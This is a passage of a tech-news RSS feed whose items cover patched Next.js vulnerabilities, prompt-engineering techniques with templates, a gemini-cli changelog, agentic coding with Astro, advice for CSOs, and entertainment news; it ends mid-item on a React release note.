<title><![CDATA[Next.js Patches Nine Security Flaws Enabling SSRF, Authentication Bypass, and DoS Attacks]]></title>
<description><![CDATA[Vercel has disclosed and patched nine security vulnerabilities in Next.js, the widely used React framework, addressing flaws that could enable server-side request forgery (SSRF), middleware authentication bypass, denial-of-service (DoS) attacks, and sensitive data exposure. All nine advisories we...]]></description>
<link>https://tsecurity.de/de/3689374/it-security-nachrichten/nextjs-patches-nine-security-flaws-enabling-ssrf-authentication-bypass-and-dos-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689374/it-security-nachrichten/nextjs-patches-nine-security-flaws-enabling-ssrf-authentication-bypass-and-dos-attacks/</guid>
<pubDate>Thu, 23 Jul 2026 16:41:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Vercel has disclosed and patched nine security vulnerabilities in Next.js, the widely used React framework, addressing flaws that could enable server-side request forgery (SSRF), middleware authentication bypass, denial-of-service (DoS) attacks, and sensitive data exposure. All nine advisories were published two days ago by security researcher KarimPwnz and are now fixed in Next.js versions 15.5.21 and […]</p>
<p>The post <a href="https://cybersecuritynews.com/next-js-patches-nine-security-flaws/">Next.js Patches Nine Security Flaws Enabling SSRF, Authentication Bypass, and DoS Attacks</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Thu, 23 Jul 2026 13:07:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.53.0-preview.0]]></title>
<description><![CDATA[What's Changed

fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by @luisfelipe-alt in #28407
feat(caretaker-triage): implement LLM triage orchestrator and container build by @chadd28 in #28345
refactor(cli): align macOS permissive Seatbelt p...]]></description>
<link>https://tsecurity.de/de/3687525/downloads/release-v0530-preview0/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687525/downloads/release-v0530-preview0/</guid>
<pubDate>Wed, 22 Jul 2026 22:25:44 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4893271589" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28407" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28407/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28407">#28407</a></li>
<li>feat(caretaker-triage): implement LLM triage orchestrator and container build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4850788084" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28345" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28345/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28345">#28345</a></li>
<li>refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905648856" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28424" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28424/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28424">#28424</a></li>
<li>fix(core): mitigate infinite ReAct loops and prompt injection loops by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4913591703" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28429" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28429/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28429">#28429</a></li>
<li>fix(a2a-server): enforce workspace trust and task isolation to prevent RCE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933898579" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28470" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28470/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28470">#28470</a></li>
<li>fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935978236" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28472" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28472/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28472">#28472</a></li>
<li>feat(evals): add eval coverage report command by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ved015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ved015">@ved015</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4756850004" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28169" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28169/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28169">#28169</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-preview.0...v0.53.0-preview.0"><tt>v0.52.0-preview.0...v0.53.0-preview.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic coding is everywhere]]></title>
<description><![CDATA[I use a very cool and relatively new web framework called Astro. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to my personal website, all I have to do is create a Markdown...]]></description>
<link>https://tsecurity.de/de/3685748/ai-nachrichten/agentic-coding-is-everywhere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685748/ai-nachrichten/agentic-coding-is-everywhere/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I use a very cool and relatively new web framework called <a href="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html" data-type="link" data-id="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html">Astro</a>. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to <a href="https://nickhodges.com/">my personal website</a>, all I have to do is create a Markdown file with some front matter, deploy it, and the blog post automatically appears. If I need to reach deeper for more dynamic functionality, I can easily do that with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a>, <a href="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html" data-type="link" data-id="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html">React</a>, or almost any other framework. It’s really cool.</p>



<p class="wp-block-paragraph">And these days, I really don’t write any code. <a href="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html" data-type="link" data-id="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html">Claude Code</a> does most (all?) of the work. Since Astro is <a href="https://github.com/withastro/astro">an open-source project</a> and has <a href="https://docs.astro.build/">excellent documentation</a>, Claude knows all about how Astro works. It has no trouble at all managing my site and making the improvements I ask for.  </p>



<p class="wp-block-paragraph">And that got me thinking, how does Astro get built? Is the Astro team building with agentic coding? Astro itself has many dependencies, including big projects like Vite and Node. And of course, Vite and Node have dependencies, too. Are those dependencies being developed by hand, or are those development teams also using AI agents to code?</p>



<p class="wp-block-paragraph">My curiosity got the best of me, and I asked Claude to dig deeper. It turns out that the Astro repository has <a href="https://github.com/withastro/astro/blob/main/AGENTS.md">an AGENTS.md</a> file, and some of the commits even have commit message trailers indicating that they were at least co-authored by Claude and <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>. Further down, there is a <code>.agents/skills</code> directory with skills covering development, merging, triage, and more. I poked around for a look, and someone has done a great job building agentic support.</p>



<p class="wp-block-paragraph">Now my interest is really piqued, and further investigation reveals quite a bit of interesting stuff. About a year ago, documentation started appearing about how to build Astro sites with coding agents.  Around that same time, the docs team released an <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP server</a> that gives developers coding agents deeper, easier access to the Astro documentation.  </p>



<p class="wp-block-paragraph">And there are small steps in the Astro codebase that indicate it is “agentic ready.” For instance, the command-line development server can tell when it is being started by an agent, and the application itself can tell if it is being driven by an agent. Small things, but steps in the direction of embracing Astro developers who use coding agents. </p>



<p class="wp-block-paragraph">Okay, that was a fun spelunking trip. But so what?</p>



<p class="wp-block-paragraph">The “so what” is that code is going to be commoditized. As an Astro developer I am using AI agents pretty much all of the time. The Astro development team is starting to use AI agents more and more. The folks building the Astro dependencies are using AI agents. Shoot, the people building Claude Code and the agents themselves are “eating their own dogfood” and <a href="https://www.anthropic.com/institute/recursive-self-improvement">using their own tools to build the next frontier model</a>. Before we know it, it will be <a href="https://en.wikipedia.org/wiki/Turtles_all_the_way_down">turtles all the way down</a>. </p>



<p class="wp-block-paragraph">No one says “who generated that electricity?” or “who wove the fabric in that shirt?” any more. And it won’t be long before no one says “Who wrote the code for that app?” because it won’t matter. Just as we don’t look at the assembly code written by our compilers, we’ll stop looking at the “regular” code written by our agents. I’m not even sure anyone is <a href="https://news.ycombinator.com/item?id=39587051" data-type="link" data-id="https://news.ycombinator.com/item?id=39587051">writing assembly code anymore</a>. Soon we’ll be saying that about TypeScript, Python, and C++.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[10 survival tips for CSOs who report to the CEO]]></title>
<description><![CDATA[As the CSO grows in prominence, security leaders are increasingly earning a seat at the executive table, reporting directly to the CEO with the expectation to help drive business strategy and ensure organizational success.



Reporting to the CEO unlocks greater access and influence for security ...]]></description>
<link>https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/</guid>
<pubDate>Wed, 22 Jul 2026 09:16:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As the CSO grows in prominence, security leaders are increasingly earning a seat at the executive table, reporting directly to the CEO with the expectation to help drive business strategy and ensure organizational success.</p>



<p class="wp-block-paragraph">Reporting to the CEO unlocks greater access and influence for security leaders, and while CSOs who report to their organization’s CIO still have clout, it’s a very different experience picking up the phone to speak directly with the CEO as a strategic partner.</p>



<p class="wp-block-paragraph">Regardless of reporting structure, CSOs must clearly understand what they are being tasked to solve. That might sound simple, but making the leap to being a CEO’s direct report requires a new perspective, a different set of skills, and a business-level focus on metrics to do so.</p>



<p class="wp-block-paragraph">We asked several current CSOs, CEOs, and IT staffing experts for advice on how security executives can best navigate a direct reporting relationship with their CEO. Offering insights below are <a href="https://www.linkedin.com/in/georgegerchow/">George Gerchow</a>, CSO at Bedrock Data and member of the IANS faculty; <a href="https://www.linkedin.com/in/mattchiodi/">Matt Chiodi</a>, CSO of Cerby; <a href="https://www.cyderes.com/company/about/chris-schueler">Chris Schueler</a>, CEO at Cyderes; and <a href="https://www.skillsoft.com/blog-authors/greg-fuller">Greg Fuller</a>, vice president of the Technology Skills Suite at Skillsoft.</p>



<h2 class="wp-block-heading">1. Understand how the CEO views your role</h2>



<p class="wp-block-paragraph">Most CEOs expect that, when you report directly to them, you fully own your functional area. Whether it’s cybersecurity, operations, or finance, they look to you as the expert in that domain. The CEO may have opinions, but ultimately, you are expected to lead and provide direction.</p>



<p class="wp-block-paragraph">CEOs expect their CSO to be a <a href="https://www.csoonline.com/article/4159317/cisos-reshape-their-roles-as-business-risk-strategists.html">true strategic partner</a>, not just a risk reporter — connecting cybersecurity to revenue protection, regulatory compliance, customer trust, and operational resilience. In turn, CSOs should expect CEOs to treat governance as a strategic enabler, not a bureaucratic necessity.</p>



<h2 class="wp-block-heading">2. Power up on skills vital to your organization at an executive level</h2>



<p class="wp-block-paragraph">On the technology side, AI and machine learning, cloud security, incident response, zero trust architecture, and governance, risk, and compliance (GRC) are the areas where threats evolve fastest and strategic leadership has the greatest impact. </p>



<p class="wp-block-paragraph">Equally important are “power skills”: communication, critical thinking, adaptability, and emotional intelligence. The ability to <a href="https://www.csoonline.com/article/4186984/6-security-leader-tips-for-mastering-business-risk.html">translate complex risk into business terms</a> is what separates a strong CSO from a purely technical one. Skills, not titles, define effectiveness in the eyes of a CEO.</p>



<h2 class="wp-block-heading">3. Take advantage of your direct access</h2>



<p class="wp-block-paragraph">Direct access to the CEO will enable you to influence strategy, <a href="https://www.csoonline.com/article/3855823/how-cisos-can-balance-business-continuity-with-other-responsibilities.html">shape resilience planning</a>, and ensure <a href="https://www.csoonline.com/article/4080670/what-does-aligning-security-to-the-business-really-mean.html">cybersecurity is treated as a business imperative</a> rather than a cost center. That authority is strongest when the CEO understands cybersecurity as a strategic lever, not just a technical function. </p>



<p class="wp-block-paragraph">While a direct reporting relationship gives you access to the CEO, it also comes with the responsibility to operate at that level. You need to provide clear, executive-level visibility into your cybersecurity program.</p>



<h2 class="wp-block-heading">4. Brush up on business translation</h2>



<p class="wp-block-paragraph">A <a href="https://www.csoonline.com/article/4002753/cisos-reposition-their-roles-for-business-leadership.html">CSO who leads with business alignment</a> will always carry more influence when they can translate risk into business language rather than technical jargon. Building programs that must survive an IPO, a FedRAMP audit, and real customer scrutiny forces you to tie security to revenue and trust.</p>



<p class="wp-block-paragraph">The most valuable skill is translation — defining technical risk in terms of executive action and business impact that a CEO and a board can act on. You must build trust through transparency. These are the human skills that complement technology, creating a collaborative human-AI dynamic where leaders make faster, better-informed decisions. </p>



<h2 class="wp-block-heading">5. Treat conversations as risk assessment opportunities</h2>



<p class="wp-block-paragraph">Highly effective security leaders treat every business conversation as a risk conversation in disguise. That mindset is what largely separates a great CSO from a great technologist. Earn the CEO’s trust by speaking business first, security second. Translate every risk into revenue, reputation, or regulatory exposure.</p>



<p class="wp-block-paragraph">Remember, a good CEO wants a translator, not an alarm system. They expect no surprises, a clear read on the risks that matter, and a security leader who helps the <a href="https://www.csoonline.com/article/4021179/8-tough-trade-offs-every-ciso-must-navigate.html">business move faster rather than slowing it down</a>.</p>



<h2 class="wp-block-heading">6. Define what a successful relationship should look like and put it in writing</h2>



<p class="wp-block-paragraph">Regardless of the reporting relationship, start by defining the end goal and putting it in writing. It will evolve over time, but having that initial clarity is critical. This is especially important when you’re new in a role and aiming to make your first 60, 90, or 120 days, and your first year, successful. In such cases, it’s essential to align early.</p>



<p class="wp-block-paragraph">Do that collaboratively, and document it.</p>



<h2 class="wp-block-heading">7. Prioritize trust and candor</h2>



<p class="wp-block-paragraph">The CEO needs to trust that the CSO isn’t sandbagging, and the CSO needs enough psychological safety to deliver bad news fast. When those conditions exist, security becomes a strategic asset — not a cost center.</p>



<p class="wp-block-paragraph">To that end, focus on clear communication above all, and present yourself as part of a team, not a solo player. Stay calm under pressure during incidents, and treat people as peers rather than policing them. The leaders who last build trust before they need it.</p>



<h2 class="wp-block-heading">8. Treat governance as a strategic competitive advantage</h2>



<p class="wp-block-paragraph">The strongest partnerships also share a commitment to governance as a competitive advantage.</p>



<p class="wp-block-paragraph">Governance is the brakes that let you drive fast safely. When a CSO and CEO are aligned on that principle, the organization can innovate with AI while <a href="https://www.csoonline.com/article/4176485/the-ai-governance-imperative-you-cant-afford-to-ignore-2.html">maintaining oversight and protecting against unnecessary risk</a>. The result is an organization that does not just react to threats but builds resilience into how it operates.</p>



<h2 class="wp-block-heading">9. Set clear goals and measure progress</h2>



<p class="wp-block-paragraph">Setting clear goals and measuring progress against those goals is essential. When expectations are clear, the areas you need to focus on become much clearer. It doesn’t solve every problem, but aligning early with your leadership, whether that’s a CEO or a CIO, can significantly reduce the pressure you may feel.</p>



<p class="wp-block-paragraph">Also, never let your boss be surprised. This is where being clear on goals and consistently tracking both leading and lagging metrics becomes especially important, particularly in a direct reporting relationship with the CEO.</p>



<h2 class="wp-block-heading">10. Be willing to endure challenge and discomfort</h2>



<p class="wp-block-paragraph">Finally, persistence and a willingness to endure discomfort for something that matters more than the pain itself are critical to surviving in this relationship. The role of a cybersecurity leader is often thankless. If you’re doing your job well, no one really notices.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta is testing an AI bedtime story app for people with no imagination]]></title>
<description><![CDATA[Meta's StoryKit app is only available in certain regions while the company tests how parents react to it.]]></description>
<link>https://tsecurity.de/de/3685034/it-nachrichten/meta-is-testing-an-ai-bedtime-story-app-for-people-with-no-imagination/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685034/it-nachrichten/meta-is-testing-an-ai-bedtime-story-app-for-people-with-no-imagination/</guid>
<pubDate>Wed, 22 Jul 2026 02:04:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Meta's StoryKit app is only available in certain regions while the company tests how parents react to it.]]></content:encoded>
</item>
<item>
<title><![CDATA[Ricky Gervais Says ‘Alley Cats’ Takes a New Approach to Adult Animation]]></title>
<description><![CDATA[Ricky Gervais has shared fresh details about his upcoming Netflix adult animated comedy Alley Cats, explaining how the series breaks away from traditional animation. During new press interviews, Gervais, Tom Basden, and Diane Morgan revealed that the show was built around live comedy performances...]]></description>
<link>https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/</guid>
<pubDate>Tue, 21 Jul 2026 17:59:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ricky Gervais has shared fresh details about his upcoming Netflix adult animated comedy Alley Cats, explaining how the series breaks away from traditional animation. During new press interviews, Gervais, Tom Basden, and Diane Morgan revealed that the show was built around live comedy performances, improvisation, and emotional storytelling ahead of its August 7, 2026 premiere.



The six-episode series follows a gang of foul-mouthed feral cats trying to survive while navigating everyday life in a harsh human world. Alongside its sharp humor, the show also explores friendship, grief, and mortality through the lives of its feline characters.



Ricky Gervais Wanted to Change How Animated Shows Are Made



According to Gervais, the biggest difference with Alley Cats came before the animation even started.



Instead of recording each actor separately in a sound booth, he insisted on bringing the entire cast together for every episode. The group performed scenes at the same time, allowing conversations to flow naturally and giving actors room to interrupt, react, and improvise.



Gervais explained that each recording session lasted far longer than the final episode. With nearly two hours of material recorded for a 15-minute episode, the creative team could choose the funniest moments while keeping performances spontaneous and realistic.



He believes that "audio is king" in animation, and the visuals should support the performances instead of limiting them.



Improvisation Created Some Wild Moments



That recording style led to plenty of unexpected comedy.



Diane Morgan revealed that many improvised jokes became far too outrageous to make the final cut. She credited fellow cast member David Earl for pushing scenes into completely unpredictable territory, often forcing the team to stop and ask whether certain jokes could actually stay in the series.



Those sessions helped create conversations that sound less scripted and more like friends talking naturally.



A Cast Built Around British Comedy



Gervais described the voice cast as the "Avengers of British comedy" because he wrote many characters specifically for actors he has worked with before.



Tom Basden voices Ponce, a well-kept house cat whose education and manners constantly clash with the rough street cats around him. Basden says Ponce often acts like an outsider while secretly understanding the softer side of Gus, voiced by Gervais.



Diane Morgan plays Olive, a cheerful but not particularly bright cat whose simple outlook adds another layer of comedy. Morgan joked that Olive quickly loses interest in Ponce after learning one unexpected detail about him.



Comedy With Genuine Emotion



Although Alley Cats promises plenty of crude jokes, Gervais says the series also explores emotional themes that have appeared throughout his previous work.



One important storyline follows the group caring for a lost kitten while confronting the reality of death for the first time. Gervais explained that childhood memories about losing pets inspired those scenes and shaped the emotional core of the series.



Morgan said viewers may expect nothing more than "sweary cats," but the show eventually delivers emotional moments that stay with the audience. Basden added that the story also looks at humanity's relationship with nature and the uncertainty every living creature faces.



Music and Release Date



The soundtrack will include songs from Cat Stevens, Coldplay, and Van Halen. Gervais also confirmed that The Smiths' classic "There Is a Light That Never Goes Out" appears in the series after both Morrissey and Johnny Marr approved its use, with Marr donating his licensing fee to an animal charity.



Alley Cats premieres globally on Netflix on August 7, 2026. The adult animated sitcom has already generated strong interest following its Annecy Festival preview, where audiences received an early look at the first two episodes.]]></content:encoded>
</item>
<item>
<title><![CDATA[19.0.8 (July 21st, 2026)]]></title>
<description><![CDATA[React Server Components

Performance improvements when decoding
(#37089 by @eps1lon)]]></description>
<link>https://tsecurity.de/de/3684226/downloads/1908-july-21st-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684226/downloads/1908-july-21st-2026/</guid>
<pubDate>Tue, 21 Jul 2026 17:49:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Performance improvements when decoding<br>
